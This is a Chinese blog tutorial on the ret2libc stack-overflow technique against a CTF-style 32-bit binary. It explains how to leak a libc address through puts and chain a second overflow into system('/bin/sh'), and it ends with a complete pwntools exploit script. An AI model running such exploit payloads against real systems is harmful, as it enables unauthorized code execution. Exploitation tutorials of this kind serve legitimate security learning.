堆栈认知——栈溢出实例(ret2libc)

2023-11-10

参考:栈溢出实例–笔记三(ret2libc)
地址:https://qingmu.blog.csdn.net/article/details/119481681

1、栈溢出含义及栈结构

参考前面博文

2、ret2libc基本思路

在当一个程序开启了NX(栈不可执行)的时候,我们没办法去写shellcode,而且程序中也没有system函数供我们调用的时候,那此时我们该如何做呢?

首先,程序本身没有system,但是我们需要getshell,那么就必须要通过system才可以,那么程序中没有system,哪里有呢?毋庸置疑libc库中有system呀,此时我们就需要通过程序中的libc的函数来泄露libc中的system地址。从而执行system函数,并传递给system函数参数为“/bin/sh”,从而getshell。

思路说完了来实战一下吧。

3、实战

3.1、二进制程序

在这里插入图片描述
我们使用IDA查看一下汇编代码:
在这里插入图片描述
反编译成C语言看一下:

在这里插入图片描述
此时程序中有gets函数,并且s的长度未做限制,那么gets函数就是溢出点,通过gets来进行栈溢出。其中还有puts函数,我们就可通过gets函数来泄露libc中的system函数地址,用puts函数将其打印出来。

注意:在泄露的时候我们需要通过gets函数的got表地址加偏移来泄露got表中的system函数地址,具体含义可百度一下,这里不过过深的说明。

3.2、查看栈结构

接下来我们就是用gdb查看一下栈结构:
在这里插入图片描述
在这里插入图片描述
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c

所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,到这这里我们需要返回到哪呢?

正如上面所说我们需要通过gets函数来泄露got表中system地址。

到此我们并不能getshell,我们还需要在来一次栈溢出从而执行system来获取getshell,那么如何再来一次栈溢出呢?

我们可以在执行完puts函数后让其执行main函数,那么程序又会执行gets函数了,那么我们就可以在做一次栈溢出啦。

3.3、第一次栈溢出

第一次栈溢出我们需要泄露libc中的gets函数的地址,其第一次操作时候我们所希望的栈结构如下:

在这里插入图片描述
如何查找一个程序的rop链呢?

ROPgadget  --binary ret2libc3 --only "pop|ret"

工具:ROPgadget

参数 含义
–binary 二进制程序
–only 正则匹配

在这里插入图片描述
在这里我们使用的是pop ebp ; ret。部分Python代码如下:

puts_addr = elf.plt["puts"]   #获取pust函数的plt地址
gets_got  = elf.got["gets"]   #获取gets函数的libc地址
pop_ebp_ret = 0x080486ff      #rop链地址
main_addr = elf.symbols["main"]  #main函数地址
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr) #payload
p.sendlineafter("Can you find it !?",payload) #在打印Can you find it !?之后注入payload
gets_addr = u32(p.recv(4))  #接收gets函数的libc地址

到此时我们就到了gets函数的libc中的地址,那么接下来我们就要获取system函数在libc中的地址。

现在有了gets函数的libc地址,我们需要先获取libc库的基地址,在获取system函数地址。

libc库的基地址如何获取呢?
我们就用获取到的gets函数的libc地址减去其偏移就可以啦。

具体Python代码如下:

libc.address = gets_addr - libc.symbols["gets"]  #  获取libc的基地址
system_addr = libc.symbols["system"]             #  得到system函数的libc地址

那么我们的准备工作就做完了,就可以开始第二次的栈溢出来获取getshell啦。

3.4、第二次栈溢出

此时我们已经拿到了system函数的libc地址,我们只需要执行system函数,并给他传入参数“/bin/sh”
就可以getshell啦。

如何传入参数“/bin/sh”呢?

我们可在栈溢出的时候,再让其执行gets函数,给其输入一个“/bin/sh”就好啦,值得注意的是:我们输入的“/bin/sh”需要放到bss段中的一个地址上去,因为这个不会随着函数的栈被覆盖或回收等机制导致我们找不到“/bin/sh”的地址了。

bss_addr = 0x0804A080        #程序中一个bss段地址
gets_addr= elf.plt["gets"]   #程序中gets函数地址
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh")    # 输入一个“/bin/sh”

此时我们分析已经完成了,来康康结果吧:

在这里插入图片描述

此时我们已经getshell啦,大功告成 respect。

完整的Python脚本如下:

from pwn import *
import sys


#context.log_level="debug"
context.arch = "i386"
#context.terminal = ["tmux","splitw","-h"]


if len(sys.argv)<2:
        debug =True
else:
        debug=False

if debug:
        p=process("./ret2libc3")
        elf=ELF("./ret2libc3")
        libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
else:
        p=remote("x.x.x.x")
        elf=ELF("./ret2libc3")
        libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")

def debugf():
        gdb.attach(p,"b * 0x08048641")

puts_addr = elf.plt["puts"]
gets_got  = elf.got["gets"]
pop_ebp_ret = 0x080486ff
main_addr = elf.symbols["main"]
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr)
p.sendlineafter("Can you find it !?",payload)
gets_addr = u32(p.recv(4))
log.success("gets addr:"+ hex(gets_addr))
libc.address = gets_addr - libc.symbols["gets"]
log.success("libc addr:"+ hex(libc.address))
system_addr = libc.symbols["system"]


bss_addr = 0x0804A080
gets_addr= elf.plt["gets"]
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh")
p.interactive()

关键性的注释上面都已经注释过啦。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

堆栈认知——栈溢出实例(ret2libc) 的相关文章

  • 基于成本和服务质量考虑的不确定性下,电动汽车充电网络基础设施需求预测和迭代优化的分层框架研究(Python代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Python代码 数据
  • 【信道估计】【MIMO】【FBMC】未来移动通信的滤波器组多载波调制方案(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码及文章
  • Python爬虫实战:IP代理池助你突破限制,高效采集数据

    当今互联网环境中 为了应对反爬虫 匿名访问或绕过某些地域限制等需求 IP代理池成为了一种常用的解决方案 IP代理池是一个包含多个可用代理IP地址的集合 可以通过该代理池随机选择可用IP地址来进行网络请求 IP代理池是一组可用的代理IP地址
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 小白入门黑客之渗透测试(超详细)基本流程(内附工具)

    经常会收到小伙伴们这样的私信 为什么我总是挖不到漏洞呢 渗透到底是什么样的流程呢 所以全网最详细的渗透测试流程来了 渗透测试其实就是通过一些手段来找到网站 APP 网络服务 软件 服务器等网络设备和应用的漏洞 告诉管理员有哪些漏洞 怎么填补
  • socket网络编程几大模型?看看CHAT是如何回复的?

    CHAT回复 网络编程中常见的有以下几种模型 1 阻塞I O模型 Blocking I O 传统的同步I O模型 一次只处理一个请求 2 非阻塞I O模型 Non blocking I O 应用程序轮询调用socket相关函数检查请求 不需
  • 基于java的物业管理系统设计与实现

    基于java的物业管理系统设计与实现 I 引言 A 研究背景和动机 物业管理系统是指对物业进行管理和服务的系统 该系统需要具备对物业信息 人员信息 财务信息等进行管理的能力 基于Java的物业管理系统设计与实现的研究背景和动机主要体现在以下
  • 揭秘网络世界的幕后密码——Wireshark网络协议分析软件

    在我们日常生活中 计算机和互联网已经成为不可或缺的一部分 然而 很少有人真正了解网络背后复杂的工作原理和通信协议 幸运的是 有一款强大而实用的软件 Wireshark 可以帮助我们深入了解网络世界的幕后密码 Wireshark是一款免费的网
  • 网络安全:绕过 MSF 的一次渗透测试

    这次渗透的主站是 一个 Discuz 3 4 的搭建 违法招 piao 网站 配置有宝塔 WAF 用 Discuz ML 3 X 的漏洞进行攻击 但是没有成功 发现主站外链会有一个发卡网 引导人们来这充值 是 某某发卡网 而且域名指向也是主
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 高防服务器什么意思

    高防服务器什么意思 为什么要用高防服务器 小编为您整理发布高防服务器什么意思的解读 高防服务器是指具备较高防御能力的服务器 能够抵御DDoS CC等网络攻击 高防服务器通常用于保护游戏 APP 金融 电商等业务 这些领域因为其业务特性 容易
  • DSCA190V 57310001-PK

    DSCA190V 57310001 PK DSCA190V 57310001 PK 具有两个可编程继电器功能 并安装在坚固的 XP 外壳中 DSCA190V 57310001 PK 即可使用 只需最少的最终用户校准 DSCA190V 573
  • 【安全】简单解析统一身份认证:介绍、原理和实现方法

    深入解析统一身份认证 介绍 原理和实现方法 导语 统一身份认证是什么 统一身份认证的原理 统一身份认证的实现 结语 导语 随着互联网的发展和各种在线服务的普及 用户在不同的应用和平台上需要进行多次身份验证 为了简化用户的登录和减少重复操作
  • 光波导结构

    摘要 增强现实和混合现实 AR MR 领域的新应用引起了人们对带有光栅区域的光波导系统的越来越多的关注 这些光波导系统用于输入和输出耦合以及扩瞳目的 VirtualLab Fusion为这类系统的仿真和设计提供了几个强大的工具 其中一个是具
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • C++编译时多态和运行时多态

    编译时多态 运行时多态 两种多态的优缺点 多态就是指一个基类指针根据所指对象的不同而有不同的功能和行为 编译时多态 编译时多态 又叫静态多态 早绑定 编译时多态基于template 模板 的具现化与函数的重载解析 这种多态在编译期进行 因此
  • UE4 C++ 的SpawnActor

    UE4 C 的SpawnActor Fill out your copyright notice in the Description page of Project Settings pragma once include CoreMin
  • Python新手入门——Jupyter notebook 学习使用

    目录 1 环境配置 2 启动 3 主页面 2 1 修改默认目录 4 基本功能 5 进阶功能 5 其余资源网站 1 环境配置 进入Anaconda Prompt 进行环境配置 conda install n pytorch ipykernel
  • 数据压缩(13):AR模型

    一 AR模型 自回归模型 二 AR模型参数的估计 1 AR 模型参数和自相关函数的关系 2 Y W 方程的解法 L D 算法 3 AR 模型参数估计的各种算法的比较和阶数的选择 三 举例及MATLAB实现 例1 题a 利用 MATLAB实现
  • Java的类名与文件名必须一致

    1 Java保存的文件名必须与类名一致 2 如果文件中只有一个类 文件名必须与类名一致 3 一个Java文件中只能有一个public类 4 如果文件中不止一个类 文件名必须与public类名一致 5 如果文件中不止一个类 而且没有publi
  • RHEL7计划任务和日志管理

    本节所讲内容 at 定制单次执行的计划任务 cron定制周期性计划任务 配置脚本实现周期性任务 配置公司内网服务器每天自动开关机 Linux系统日志记录规律 自定义日志记录方式 配置远程收集日志服务器 计划任务 at 只能执行一次 语法 a
  • 电商项目完成的BUG调查原因和解决方案

    这是我来到浙大网新恒天后 第一个完成的项目 在完成项目后 我总结了那些自己感觉重要的BUG 第一项目为电商项目 1 BUG系列一 界面销毁时 未关闭广播 dialog等 崩溃 Bug现象 Bug 85778 同一个账号 两部手机登陆 第一个
  • [es6]Symbol.iterator 和 for of

    Symbol iterator 和 for of 是es6的新特性 可以为对象设置 自己的迭代器 首先介绍我们的for of var arr 1 2 3 8 33 for var i of arr console log i 1 2 3 8
  • 使用Python,OpenCV进行去水印,图像修复

    图像修复是图像保存和图像恢复的一种形式 其历史可以追溯到1700年代 当时意大利威尼斯的公共图片修复总监彼得 爱德华兹 Pietro Edwards 应用这种科学方法来修复和保存著名作品 资料来源 图像修复技术显着提高了图像绘画的质量 使我
  • nginx配置代理

    背景 公司一台裸金属服务器由于限制无法访问内部100 X网段的机器 而申请这台裸金属的用户需要访问这个网段的代码仓库codehub 更换机器已经来不及 所以申请了另一台服务器作为nginx代理来访问 配置如下 1 tar包安装nginx指定
  • Java中静态的main方法为什么可以调用非静态成员变量?方法之间调用局部变量?

    静态方法不可以 直接 调用动态方法或动态变量 但是可以创建动态变量 也可以 直接 调用静态方法和静态变量 对象属于动态的 动态的可以调用动态的 也可以调用静态的 综上 1 main 方法是静态的 在main 方法中 我们可以直接调用main
  • Git和其远程仓库的使用

    一 什么是Git远程仓库 目前我们已经掌握了Git基础操作 对于文件的增删改 再也不用担心文件的丢失与误删问题了 如果还有不了解的可以看下我上章节的Git基础教程 对于文件增删改的操作 Git与SVN基本没啥区别 但是GIt究竟强在哪了 这
  • 数据挖掘十大算法(二):K-means聚类算法原理与实现

    参考 1 机器学习 KMeans聚类 K值以及初始类簇中心点的选取 2 K Means算法的研究分析及改进 一 K means算法原理 K means算法是最常用的一种聚类算法 算法的输入为一个样本集 或者称为点集 通过该算法可以将样本进行
  • 运维平台权限表结构设计

  • 【node 报错】Error: Cannot find module ‘路径 / 具体文件名‘

    过程如下 输入 node 文件名 出现报错信息 原因 该终端是在错误的文件路径打开 没在当前文件下的路径打开 因此要在当前的文件下打开终端 运行 node 文件名
  • linux终端密码星星,如何在Ubuntu终端中显示密码星号

    每当要求您在Ubuntu终端中键入密码时 都将插入密码 而不会得到任何可视显示或屏幕反馈 在这种情况下 您可能会通过错误输入密码而弄乱密码 这就是视觉反馈如此重要的原因 它可以帮助您跟踪输入的字符数 尤其是在输入密码时 这样您就不会错过任何
  • tp5 链表查询,查出left表为空的数据

    背景 tp5 A B两表join链表查询 查出B表数据为空的A表数据 以及 B表数据不为空的A表数据 此操作将使用到 EXP 和 IS NULL 查出B表数据为空的A表数据SQL where exp Db raw b id IS NULL
  • 代码随想录算法训练营第十天

    今天是打基础的一天 了解队列和栈的实现 上次学习这块记忆犹新 只要打基础 那天的我肯定是沮丧的 总会是说的时候都懂 写的时候不知道从哪里下手 看看这次会遇到什么 艰难险阻 及时记录下来 哈哈 Java 中 我总是不清楚为什么queue的cr
  • iis服务器文件上传大小限制,IIS修改最大上传文件限制的方法

    我们在修改PageAdmin网站管理系统的附件上传大小时候 经常出现修改后还是上传不了大文件 这是因为服务器系统本身的限制导致的 下面分别对IIs6和IIs7的修改方法作详细介绍 IIS7的修改方法 IIS7 0默认限制上传文件大小为300
  • 堆栈认知——栈溢出实例(ret2libc)

    参考 栈溢出实例 笔记三 ret2libc 地址 https qingmu blog csdn net article details 119481681 目录 1 栈溢出含义及栈结构 2 ret2libc基本思路 3 实战 3 1 二进制